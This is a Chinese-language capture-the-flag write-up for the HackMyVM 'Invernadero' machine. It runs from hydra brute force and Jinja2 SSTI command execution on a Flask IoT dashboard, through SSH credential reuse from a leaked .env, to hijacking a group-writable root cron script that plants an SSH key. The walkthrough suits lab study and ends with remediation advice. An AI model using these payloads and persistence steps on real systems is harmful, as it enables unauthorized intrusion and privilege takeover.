跳到主要内容

HackMyVM Invernadero 通关记录|Flask SSTI 到 Docker 逃逸与 cron 提权

靶机链接:Invernadero


0x01 基本信息

名称IP说明
Kali Linux192.168.1.109攻击机
Invernadero192.168.1.107Alpine Linux 3.24.1(Linux 6.18.42-0-lts),主机名 server1 / server1.lan

靶机共三枚 Flag:容器内 user.txt、宿主机用户目录 user.txt、宿主机 /root/root.txt


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、53/tcp Unbound、80/tcp Apache 2.4.68、8080/tcp Werkzeug 3.1.8定位唯一有业务逻辑的入口是 8080 端口
Web 指纹8080 返回 302 → /login,标题 IoT Dashboard,语言为西班牙语识别为 Flask IoT 后台,缩小爆破面
弱口令hydra 单线程命中 admin : admin123(第 12 次尝试)拿到后台管理员会话
漏洞定位/alerts 表单字段 mensaje_custom 提示“可使用 Jinja 变量”直接暴露 Jinja2 模板注入面
SSTI 验证提交 {{7*7}}/alerts 回显 Vista previa: 49确认服务端模板被当作代码执行
容器内 Flag{{lipsum.__globals__.os.popen('cat /app/user.txt').read()}}取得 Flag 1,并确认进程身份 uid=100(operador)
凭据收割读取 /app/.env 得到 MQTT_USER / MQTT_PASSWORD拿到可能被复用的明文口令
容器逃逸sshpass 用 MQTT 口令登录宿主机 admin_invernadero从容器跳到宿主机并取得 Flag 2
提权/opt/invernadero/backup_logs.sh 组可写,root 每分钟 cron 执行注入载荷后约 1 分钟获得 root 权限
最终成果uid=0(root),读取 /root/root.txt取得 Flag 3,靶机完全失陷

0x02 侦察与信息收集 (Reconnaissance)

1. 主机发现与端口扫描

在 Kali 上先确认连通性,再用 RustScan 联动 Nmap 全端口扫描:

ping -c 2 192.168.1.107
rustscan -a 192.168.1.107 --ulimit 5000 --timeout 2000 --tries 1 -g

输出:

PING 192.168.1.107 (192.168.1.107) 56(84) bytes of data.
64 bytes from 192.168.1.107: icmp_seq=1 ttl=64 time=5.22 ms

192.168.1.107 -> [22,53,80,8080]

Flask 开发服务器抗并发差,-sC 默认脚本容易把 8080 打挂并导致 filtered 误报,因此拆两步:先定 open,再定版本:

扫描结果差异

nmap -sT -Pn -sC -sV 在本靶机上曾使 22/80/8080 显示 filtered,而应用层 nc/curl 始终证明端口开放;去掉 -sC 后稳定全 open

如只需确认存活,下面第一条带 --reason 的命令已足够。

nmap -sT -Pn -T4 -p22,53,80,8080 --reason 192.168.1.107
nmap -sT -Pn -T4 -sV -p22,53,80,8080 192.168.1.107 -oN nmap_initial.txt

关键扫描结果:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
53/tcp open domain Unbound
| dns-nsid:
| NSID: ewr01 (6577723031)
|_ id.server: ewr01
80/tcp open http Apache httpd 2.4.68 ((Unix))
|_http-server-header: Apache/2.4.68 (Unix)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: It works! Apache httpd
8080/tcp open http Werkzeug httpd 3.1.8 (Python 3.9.25)
| http-title: IoT Dashboard
|_Requested resource was /login
|_http-server-header: Werkzeug/3.1.8 Python/3.9.25

其中 8080Werkzeug 头是关键信号:这是 Flask 自带的开发服务器,通常意味着业务代码存在可交互的模板与逻辑,优先级高于另外三个端口。

2. DNS 枚举(53/tcp+udp)

53 上的 Unbound 首次测试是权威解析器(返回 aa 标志),先确认正反向解析与区域传送:

dig @192.168.1.107 server1.lan +noall +answer +comments
dig @192.168.1.107 -x 192.168.1.107 +short
dig @192.168.1.107 lan AXFR +time=3 +tries=1
dig @192.168.1.107 nsid.server chaos txt +short

输出:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8886
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; ANSWER SECTION:
server1.lan. 0 IN A 192.168.1.107

server1.lan.
; Transfer failed.
"ewr01"

结论:首次测试域名仅 server1.lan 一条 A 记录、PTR 正常、AXFR 被拒绝、不存在泛解析,lan 区域无法拖取。DNS 侧没有可利用的横向入口。

环境差异(2026-09-10 复测)
  • server1.lan 与 PTR 现返回 NXDOMAIN(无 aa 标志),权威区疑似已失效。
  • nmap -sU 曾误报 53/udp closed,但 dig @192.168.1.107 google.com +short 经 UDP 仍可正常递归。
  • dig chaos NSID 现为 REFUSED,而 nmap --script dns-nsid 对 TCP 仍可看到 ewr01

以上差异不阻塞后续链条,读者对不上不必停留。

3. Web 指纹(80/tcp)

curl -s -D - http://192.168.1.107/ --max-time 10
whatweb -v http://192.168.1.107/

curl 响应头:

HTTP/1.1 200 OK
Server: Apache/2.4.68 (Unix)
Content-Length: 191
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>It works! Apache httpd</title>

WhatWeb 指纹:

WhatWeb: Apache[2.4.68], HTTPServer[Unix][Apache/2.4.68 (Unix)]

80 端口是 Apache 默认占位页,http-methods 提示开放 TRACE,但既无目录也无应用,继续深入的价值很低。侦察重心全部转到 8080。


0x03 初始访问:Flask 后台弱口令 (Initial Foothold)

1. 8080 应用指纹

curl -s -D - http://192.168.1.107:8080/ --max-time 10
curl -s -D headers_login.txt -o login.html http://192.168.1.107:8080/login --max-time 10

输出:

HTTP/1.1 302 FOUND
Server: Werkzeug/3.1.8 Python/3.9.25
Location: /login

HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.9.25
Content-Length: 2402

登录页为西班牙语 IoT 控制台(Invernadero IoT,标题 IoT Dashboard),表单只提交两个参数:

<form method="POST">
<label>Usuario</label>
<input type="text" name="username" placeholder="Ingrese su usuario" required>
<label>Contraseña</label>
<input type="password" name="password" placeholder="Ingrese su contraseña" required>
<button type="submit">Iniciar sesión</button>
</form>

登录失败时页面长度固定为 2585 字节,并渲染固定文案,可作为爆破的失败特征:

<div class="mensaje-error">
Usuario o contraseña incorrectos.
</div>

2. 单线程弱口令爆破

该靶机运行的是 Flask 开发服务器(单进程、默认线程模型),并发过高会直接把服务打挂,因此全程保持单线程并加延时:

printf '%s\n' admin password 123456 1234 12345 invernadero esp32 iot greenhouse \
plantas password123 admin123 usuario toor root letmein qwerty > pass_small.txt

hydra -l admin -P pass_small.txt -t 1 -w 10 -W 5 -f -V -s 8080 192.168.1.107 \
http-post-form "/login:username=^USER^&password=^PASS^:Usuario o contrase" \
-o hydra_result.txt

输出:

[DATA] max 1 task per 1 server, overall 1 task, 17 login tries (l:1/p:17)
[DATA] attacking http-post-form://192.168.1.107:8080/login:username=^USER^&password=^PASS^:Usuario o contrase
[ATTEMPT] target 192.168.1.107 - login "admin" - pass "admin" - 1 of 17 [child 0] (0/0)
[ATTEMPT] target 192.168.1.107 - login "admin" - pass "password" - 2 of 17 [child 0] (0/0)
...
[STATUS] 6.00 tries/min, 12 tries in 00:02h, 5 to do in 00:01h, 1 active
[8080][http-post-form] host: 192.168.1.107 login: admin password: admin123
1 of 1 target successfully completed, 1 valid password found

第 12 次尝试命中 admin : admin123。验证会话有效性:

curl -s -c cookies.txt -D headers_post.txt -o /dev/null \
-X POST -d 'username=admin&password=admin123' http://192.168.1.107:8080/login --max-time 10
curl -s -b cookies.txt http://192.168.1.107:8080/ --max-time 10 | grep -E 'username-text|Rol'
curl -s -b cookies.txt http://192.168.1.107:8080/api/sensores --max-time 10

输出:

HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...; HttpOnly; Path=/

username-text">admin
Rol: admin

{"humedad":0,"luz":0,"rssi":0,"temperatura":0}

已获得 admin 角色的后台会话。顺便说明:该口令不是“巧合”,应用初始化代码里本来就硬编码了默认账号——

# /app/init.py
admin = Usuario(username="admin", password=generate_password_hash("admin123"), rol="admin")
usuario = Usuario(username="usuario", password=generate_password_hash("usuario123"), rol="user")

3. 后台功能枚举

后台共有三个可用页面,其中 /alerts(告警规则配置)具备写操作:

路由状态说明
/200仪表盘,前端 fetch('/api/sensores') 拉取温湿度数据
/sens200统计页,提供 /api/exportar/lecturas/api/exportar/alertas/api/historial
/alerts200告警规则配置(admin_required),含自定义消息模板表单
/logout302注销

/alerts 的表单里有一段非常直白的注释和提示:

<form action="/guardar_alerta" method="POST">
<!-- FORMATO DE MENSAJE (Vector de Inyección) -->
<input class="textbox" type="text" name="mensaje_custom" placeholder="Ej: Peligro en el sensor " required>
<small>Personalice su alerta usando variables Jinja como {{ sensor }}</small>

“可用 Jinja 变量”意味着用户输入会被 Jinja2 引擎渲染——这是模板注入的典型入口。


0x04 容器内 RCE:Jinja2 SSTI (Initial Access → Container)

1. SSTI 确认

优先使用配套脚本

ssti_rce.py 跟随 POST /guardar_alerta → 302 → /alerts 的一次跳转直接取 flash 回显,内置请求间隔。下面先用计算表达式验证 SSTI。

回显缺失不代表未执行

每次提交都会在 SQLite 新增一条规则,且命令先于回显执行。重复提交会重复落库,也会重复执行命令,请保持低频操作。

脚本默认不自动重发;仅在确认探针幂等时,才使用 --retry 重试。

python3 ssti_rce.py -t 192.168.1.107 -p '{{7*7}}'
# [+] 回显: 49

手工 curl 示意(理解原理用):Flask flash 在请求结束时写入、仅在下一次请求中可读(见 Flask Flashing 文档),因此取回显必须跟随 302 Location: /alerts 跳转一次。两种等价写法,按需二选一:

curl 参数说明
  • 五个字段分开使用 --data-urlencode,避免 &>{{ }} 被 shell 或 URL 解析破坏;zsh 下建议 noglob
  • val 取不同数值仅为区分各次提交、方便回查,无去重要求。
# 方式 A:curl 自动跟随(-L),回显直接出现在本次命令输出里,无需再 GET
curl -s -L -b cookies.txt -c cookies.txt -D ssti_h.txt \
--data-urlencode 'mensaje_custom={{7*7}}' \
--data-urlencode 'sensor=luz' \
--data-urlencode 'condicion=>' \
--data-urlencode 'val=101' \
--data-urlencode 'envio_de_datos=telegram' \
http://192.168.1.107:8080/guardar_alerta --max-time 15 | grep -o 'Vista previa[^<]*'
# 此时 flash 已被消费,再手动 GET /alerts 应为空(可用作“已消费”验证)

# 方式 B:不跟随,手动 GET 一次(该 GET 即第一次消费,不是“二次 GET”)
sleep 1
curl -s -b cookies.txt -c cookies.txt -D ssti_h.txt \
--data-urlencode 'mensaje_custom={{7*7}}' \
--data-urlencode 'sensor=luz' \
--data-urlencode 'condicion=>' \
--data-urlencode 'val=101' \
--data-urlencode 'envio_de_datos=telegram' \
http://192.168.1.107:8080/guardar_alerta --max-time 15
# 上条返回 302 Location: /alerts,本体仅为 Redirecting…,无回显
sleep 2
curl -s -b cookies.txt -c cookies.txt -o alerts2.html http://192.168.1.107:8080/alerts --max-time 15
grep -o 'Vista previa[^<]*' alerts2.html

输出(两段分别来自两次响应,不要混读):

# POST 本次响应头(两种方式都有):本体仅为 Redirecting…,无回显
HTTP/1.1 302 FOUND
Location: /alerts
<!-- 跟随跳转后的 GET /alerts 响应体(方式 A 由 -L 自动取,方式 B 由手动 GET 取): -->
<div class="mensaje-ok">
Regla guardada. Vista previa: 49
</div>

7*7 被求值为 49SSTI 确认

2. 漏洞成因

通过 SSTI 直接读出对应源码即可定位根因:

# /app/routes.py (第 148 行起)
def guardar_alerta():
sensor = request.form["sensor"]
condicion = str(request.form["condicion"])
valor = float(request.form["val"])
envdata1 = str(request.form["envio_de_datos"])

# Nuevo parámetro vulnerable
mensaje_custom = request.form.get("mensaje_custom", "Alerta generada")

tipo_envio = "discord" if envdata1.startswith("https://discord.com") else "telegram"

# VULNERABILIDAD SSTI: El input crudo pasa directamente al motor de Jinja
try:
mensaje_procesado = render_template_string(mensaje_custom, sensor=sensor, condicion=condicion)
except Exception as e:
mensaje_procesado = "Error de sintaxis en plantilla"

render_template_string()用户可控字符串当作模板源码编译执行,而不是当作模板变量传入,因此 {{ ... }} 内的 Python 表达式会被直接求值。

3. 从 SSTI 到命令执行

Jinja2 的 lipsum 是一个全局函数,其 __globals__ 指向 jinja2.utils 模块的全局命名空间,其中包含被导入的 os 模块,于是可以直接拿到命令执行能力。可直接使用文末附带的 ssti_rce.py 脚本执行,亦可在 curl 中提交 mensaje_custom 参数:

# 方式 1:调用配套脚本执行(推荐)
python3 ssti_rce.py -t 192.168.1.107 -c 'id'

# 方式 2:使用 curl 完整提交(需 -L 跟随 302,或提交后再 GET /alerts 取 Vista previa)
curl -s -L -b cookies.txt -c cookies.txt \
--data-urlencode "mensaje_custom={{lipsum.__globals__.os.popen('id').read()}}" \
--data-urlencode 'sensor=luz' --data-urlencode 'condicion=>' \
--data-urlencode 'val=101' --data-urlencode 'envio_de_datos=telegram' \
http://192.168.1.107:8080/guardar_alerta --max-time 15

输出:

Regla guardada. Vista previa: uid=100(operador) gid=65533(nogroup) groups=65533(nogroup),65533(nogroup)

Web 进程运行在容器内的非特权用户 operador 上。

4. 读取容器内 Flag 与敏感文件

为了减少请求次数,把多条命令串在一次注入中执行:

# 调用脚本执行组合命令读取 Flag 与环境配置
python3 ssti_rce.py -t 192.168.1.107 -c 'cat /app/user.txt; echo ---ENV---; cat /app/.env'

输出:

flag{rce_ssti_conseguido}

---ENV---
SECRET_KEY=tu_nueva_clave_secreta_super_segura
TELEGRAM_TOKEN=
TELEGRAM_CHAT_ID=
ESP32_API_KEY=

MQTT_BROKER=172.17.0.1
MQTT_USER=admin_invernadero
MQTT_PASSWORD=admin_invernadero123

取得 Flag 1:flag{rce_ssti_conseguido}(容器 /app/user.txt)。

同时 /app/.env 泄露了两类重要信息:

  • SECRET_KEY=tu_nueva_clave_secreta_super_segura:Flask 会话签名密钥为弱口令,可伪造任意用户会话;
  • MQTT_USER / MQTT_PASSWORD:MQTT Broker 的明文账号口令,且 MQTT_BROKER=172.17.0.1 指向 Docker 默认网桥的宿主机地址,暗示这份凭据是为宿主机服务准备的。

5. 容器环境判定

使用脚本探测容器标志文件与特权约束:

python3 ssti_rce.py -t 192.168.1.107 -c 'ls -la /.dockerenv; grep -E "CapEff|Seccomp" /proc/self/status; ls -la /var/run/; hostname'

输出:

-rwxr-xr-x 1 root root 0 Aug 30 13:43 /.dockerenv

CapEff: 0000000000000000
Seccomp: 2

total 12
drwxr-xr-x 3 root root 4096 Oct 8 2025 .
drwxr-xr-x 1 root root 4096 Oct 8 2025 ..
drwxr-xr-x 2 root root 4096 Oct 8 2025 lock

b8dde17535e7

判定结论:

  • /.dockerenv 存在 → 当前处于 Docker 容器中;
  • CapEff: 0000000000000000 → 进程零能力位,没有 CAP_SYS_ADMINCAP_DAC_READ_SEARCH 等可用于逃逸的能力;
  • Seccomp: 2 + Seccomp_filters: 1 → 启用过滤模式 seccomp,危险系统调用被拦;
  • /var/run/ 下只有 lock没有 docker.sock → 无法通过 Docker API 逃逸。

因此容器内部本身没有逃逸原语,突破点只能在凭据上——这正是 /app/.env 中 MQTT 口令的价值。

容器的构建配置也印证了这一点(/app/Dockerfile):

FROM python:3.9-alpine
RUN adduser -S -D -H -h /app -s /sbin/nologin operador
RUN chown -R operador:root /app && \
chmod -R 755 /app && \
chmod 777 /app/instance
USER operador
EXPOSE 5000
CMD ["python", "app.py"]

容器内还留有一句提示文件 /app/README.txt

felcidades lograste ejecucion por medio de una stti, el paso a seguir es salir
del docker o leer archivos desde el docker, ademas de python que mas
corre en docker?

“除了 Python,容器里还跑着什么?”——指向的正是 MQTT 客户端与它使用的凭据。


0x05 容器逃逸:凭据复用登录宿主机 (Container Escape)

1. 口令复用验证

MQTT_USER=admin_invernaderoMQTT_PASSWORD=admin_invernadero123 直接复用到宿主机 SSH:

sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no \
admin_invernadero@192.168.1.107 'id; hostname; cat /etc/os-release | head -3; uname -a'

输出:

uid=1002(admin_invernadero) gid=1002(admin_invernadero) groups=1002(admin_invernadero)
server1
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.24.1
Linux server1 6.18.42-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2026-08-05 07:53:12 x86_64 Linux

容器逃逸成功:从容器内的 Web 进程直接获得了宿主机的低权限 Shell。

2. 宿主机用户 Flag

sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no \
admin_invernadero@192.168.1.107 'pwd; ls -la; cat ~/user.txt'

输出:

/home/admin_invernadero
total 20
drwxr-sr-x 2 admin_invernadero admin_invernadero 4096 Aug 29 23:12 .
drwxr-xr-x 3 root root 4096 Aug 29 23:28 ..
-rw------- 1 admin_invernadero admin_invernadero 1082 Aug 29 23:12 .ash_history
-rw------- 1 admin_invernadero admin_invernadero 1399 Aug 29 23:12 .bash_history
-rw-r--r-- 1 admin_invernadero admin_invernadero 35 Aug 29 22:25 user.txt

flag{escape_de_contenedor_exitoso}

取得 Flag 2:flag{escape_de_contenedor_exitoso}(宿主机 /home/admin_invernadero/user.txt)。


0x06 宿主机提权:组可写 cron 脚本 (Privilege Escalation)

1. 常规枚举(全部走不通)

sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'sudo -l; ls -la /etc/crontabs/; find / -perm -4000 -type f 2>/dev/null; cat /etc/doas.conf /etc/doas.d/* 2>&1'

输出:

sudo: a terminal is required to read the password; either use ssh's -t option or configure an askpass helper

total 12
drwxr-xr-x 2 root root 4096 Aug 9 19:41 .
drwxr-xr-x 45 root root 4096 Sep 9 03:37 ..
-rw------- 1 root root 98 Aug 29 22:48 root

/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chage
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/doas
/usr/bin/expiry
/usr/bin/gpasswd
/usr/local/bin/find
/usr/sbin/suexec
/bin/bbsuid

cat: can't open '/etc/doas.conf': Permission denied
permit persist :wheel

逐个排除:

  • sudo 需要密码,且当前用户不在 sudoers;
  • /etc/crontabs/root 权限 600,无法读取 root 的定时任务;
  • SUID 清单里的 /usr/local/bin/find 值得注意,但它是 BusyBox 版 find,BusyBox 会主动丢弃提权后的特权,实测无法用 -exec 提权;
  • doas 规则:主配置 /etc/doas.conf 对当前用户不可读(Permission denied),而补充配置 /etc/doas.d/20-wheel.conf 可读且内容为 permit persist :wheel,仅对 wheel 组生效,当前用户不在该组中。

2. 发现组可写的 cron 脚本

转向应用目录,问题立刻暴露:

sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'ls -la /opt/; ls -la /opt/invernadero/; cat /opt/invernadero/backup_logs.sh'

输出:

drwxrwxr-x 2 root root 4096 Aug 29 22:46 invernadero
drwxr-xr-x 5 root root 4096 Aug 29 23:40 proyecto_invernadero

total 12
drwxrwxr-x 2 root root 4096 Aug 29 22:46 .
drwxr-xr-x 5 root root 4096 Aug 29 22:46 ..
-rwxrwxr-x 1 root admin_invernadero 347 Aug 29 23:51 backup_logs.sh
#!/bin/sh
# Sistema de respaldo automático de logs MQTT
# Ejecutado cada minuto por cron (root)

LOGDIR="/var/log/mqtt"
BACKUPDIR="/var/backups/mqtt"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)

mkdir -p "$BACKUPDIR"
tar -czf "$BACKUPDIR/logs_$TIMESTAMP.tar.gz" "$LOGDIR" 2>/dev/null
echo "Backup ejecutado en $TIMESTAMP" >> /var/log/invernadero_backup.log

三个条件同时成立,构成完整的本地提权原语:

  1. 脚本属主是 root,属组是 admin_invernadero(当前用户所在组);
  2. 权限位 -rwxrwxr-x —— 组可写,当前用户可以直接改写脚本内容;
  3. 脚本头上的注释明确写着“由 cron 以 root 身份每分钟执行”。

/etc/crontabs/root 虽然不可读,但运行中的 crond 与日志时间戳可以侧证该任务确实存在且在持续触发:

# 提权后读取到的 root crontab
# Tarea de backup de logs del invernadero - cada minuto
* * * * * /opt/invernadero/backup_logs.sh

# /var/log/invernadero_backup.log 每分钟一条
Backup ejecutado en 20260910_034200
Backup ejecutado en 20260910_034300
Backup ejecutado en 20260910_034400

3. 注入载荷并等待 root 执行

避免旧结果造成误判

旧结果多为 root 属主,/tmp sticky 下普通用户可能删不掉,因此下面的 rm -f 允许失败。

后续等待循环通过 -nt 时间戳检查,只认可新于本次时间戳的结果;不要把历史残留当成本次执行成功的证据。

先备份原文,清掉上次旧结果并立时间戳,再向脚本追加命令(追加内容以 root 身份运行,因此 id 回显即为 root):

sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'set -u
if grep -qF "# --- reproduction marker (authorized lab test) ---" /opt/invernadero/backup_logs.sh 2>/dev/null; then
echo "[-] 已有载荷残留,请先恢复后再注入"; exit 1
fi
cp /opt/invernadero/backup_logs.sh /tmp/backup_logs.sh.orig || exit 1
rm -f /tmp/pwnid.txt /tmp/rootflag.txt 2>/dev/null
touch /tmp/.invernadero_stamp
cat >> /opt/invernadero/backup_logs.sh <<'"'"'EOF'"'"'

# --- reproduction marker (authorized lab test) ---
id > /tmp/pwnid.txt 2>&1
cat /root/root.txt > /tmp/rootflag.txt 2>&1
chmod 644 /tmp/pwnid.txt /tmp/rootflag.txt 2>/dev/null
EOF'

等待下一个整分钟(cron 每分钟触发一次,只认可新鲜结果):

for i in $(seq 1 15); do
sleep 10
if sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'test /tmp/pwnid.txt -nt /tmp/.invernadero_stamp 2>/dev/null && grep -q "^uid=0" /tmp/pwnid.txt 2>/dev/null'; then
R=$(sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
'cat /tmp/pwnid.txt 2>/dev/null; echo "|"; cat /tmp/rootflag.txt 2>/dev/null')
echo "[$((i*10))s] $R" | tr '\n' ' '; echo; break
fi
echo "[$((i*10))s] 尚未执行(旧残留已按时间戳过滤)"
done

输出:

[10s] |
[20s] |
[30s] |
[40s] uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) | flag{root_invernadero_comprometido}

40 秒后载荷以 root 身份执行。落盘证据文件属主为 root,可确认执行者身份而非时间戳伪造:

-rw-r--r-- 1 root root 138 Sep 10 03:43 /tmp/pwnid.txt
-rw-r--r-- 1 root root 36 Sep 10 03:43 /tmp/rootflag.txt

取得 Flag 3:flag{root_invernadero_comprometido}(宿主机 /root/root.txt)。

4. 升级为交互式 root Shell

受控命令执行已经等价于 root,但为了拿到真实交互式 Shell,用同一注入点投递 SSH 公钥:

ssh-keygen -t ed25519 -f ./inv_root_key -N '' -C 'invernadero-repro'

PUB=$(cat inv_root_key.pub)
sshpass -p 'admin_invernadero123' ssh -F /dev/null -o StrictHostKeyChecking=no admin_invernadero@192.168.1.107 \
"cat /tmp/backup_logs.sh.orig > /opt/invernadero/backup_logs.sh && \
cat >> /opt/invernadero/backup_logs.sh <<'EOF'

# --- ssh key (authorized lab test, remove after use) ---
mkdir -p /root/.ssh
echo '$PUB' >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys
EOF"

等待下一次 cron 触发后登录:

ssh -i inv_root_key -F /dev/null -o StrictHostKeyChecking=no root@192.168.1.107 'id; hostname; cat /root/root.txt'

输出:

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
server1
flag{root_invernadero_comprometido}

至此获得真实 uid=0(root) 交互式 Shell。


0x07 最终成果 (Final Flags)

Container Flag

  • 路径: 容器 /app/user.txt
  • 内容: flag{rce_ssti_conseguido}

User Flag

  • 路径: 宿主机 /home/admin_invernadero/user.txt
  • 内容: flag{escape_de_contenedor_exitoso}

Root Flag

  • 路径: 宿主机 /root/root.txt
  • 内容: flag{root_invernadero_comprometido}

凭据与阶段成果汇总

项目 / 阶段凭据或结果说明
Web 后台弱口令admin / admin123/app/init.py 硬编码默认管理员,hydra 第 12 次尝试命中
Flask SECRET_KEYtu_nueva_clave_secreta_super_segura/app/.env 泄露,可伪造会话 Cookie
MQTT 凭据admin_invernadero / admin_invernadero123/app/.env 泄露,MQTT_BROKER=172.17.0.1 指向宿主机
SSTI RCErender_template_string(mensaje_custom)容器内 uid=100(operador) 命令执行
Container Flag/app/user.txt经 SSTI 读取
容器逃逸SSH 口令复用从容器 Web 进程直接登录宿主机低权限用户
User Flag/home/admin_invernadero/user.txtSSH 登录后直接读取
提权原语/opt/invernadero/backup_logs.sh属组 admin_invernadero 可写,root 每分钟 cron 执行
Root Shelluid=0(root)注入载荷后约 40 秒以 root 执行,或投递 SSH 公钥换取交互式 Shell
Root Flag/root/root.txt提权后读取

0x08 复盘与防御建议

1. 攻击链关键节点

环节缺陷本质修复方向
初始入口render_template_string() 直接编译用户输入用户输入只能作为模板变量传入,禁止拼进模板源码;必要时用 SandboxedEnvironment
后台弱口令源码硬编码默认账号 admin/admin123首次启动强制改密,禁止在代码中写默认凭据
凭据泄露.env 与业务代码同目录且可被 Web 进程读取秘密交由 Secret Manager / 容器 Secret 注入,文件权限最小化
凭据复用MQTT 口令与宿主机 SSH 口令相同每项服务独立凭据,禁止跨边界复用
提权root 的 cron 任务调用用户组可写的脚本cron 调用的脚本与目录属主 root、权限 755,禁止组/其他用户写
容器加固未挂载 docker.sock、零能力位(这两点做对了)继续保持;另建议非 root 运行 + 只读根文件系统 + 网络策略限制出站

2. 关键教训

  • Flask 开发服务器不能暴露在生产网络Werkzeug/3.1.8 Python/3.9.25 这个响应头一眼就能确认技术栈,且开发服务器单进程、抗并发能力极差,靶机在目录爆破并发较高时曾直接失去响应。
  • {{ }} 出现在表单提示里就是高危信号:应用主动告诉用户“可使用 Jinja 变量”,等价于把注入点写在脸上。遇到这类提示应当第一时间验证 {{7*7}}
  • 容器内拿不到特权时,转身看凭据CapEff=0、无 docker.sock、seccomp 开启,容器内确实无逃逸原语;但 .env 里的 MQTT 口令直接复用到宿主机 SSH,比任何内核漏洞都更快。
  • SUID 不总是能用/usr/local/bin/find 看似是经典提权点,但 BusyBox 版本会主动丢弃特权;而 /etc/crontabs/root 不可读也不代表没有 cron——/var/log/invernadero_backup.log 每分钟一条记录,就是最直接的侧证。
  • 组可写的高权限脚本是“慢速 root”:不需要竞争条件,只需要等一个整分钟。

0x09 附件脚本

文件说明
ssti_rce.py自动登录、提交 SSTI 请求并解析命令回显
cron_hijack.sh备份并改写 cron 脚本、回收执行结果,支持还原

脚本说明:

  • ssti_rce.py:提交 mensaje_custom payload,并从 POST 重定向响应(flash 提示)中解析 Vista previa 回显;内置请求间隔,用于容器内单命令执行与源码读取。回显缺失时默认不自动重发(服务端先执行后返回,重发会重复落库与重复执行),仅幂等探针可加 --retry 重试一次。
  • cron_hijack.sh:备份并改写组可写的 cron 脚本,等待 root 执行后回收结果,并支持 --restore 还原原始脚本。注入前清理旧结果并以时间戳文件界定本次运行,仅认可新于注入起点且含 uid=0 的结果,避免历史残留误报;重复注入会被 marker 拦截。--restore 先验备份可读非空并 cmp 一致后再清理,退出码区分:0=脚本+结果全清,2=脚本已恢复但 root 结果文件需 root 另清。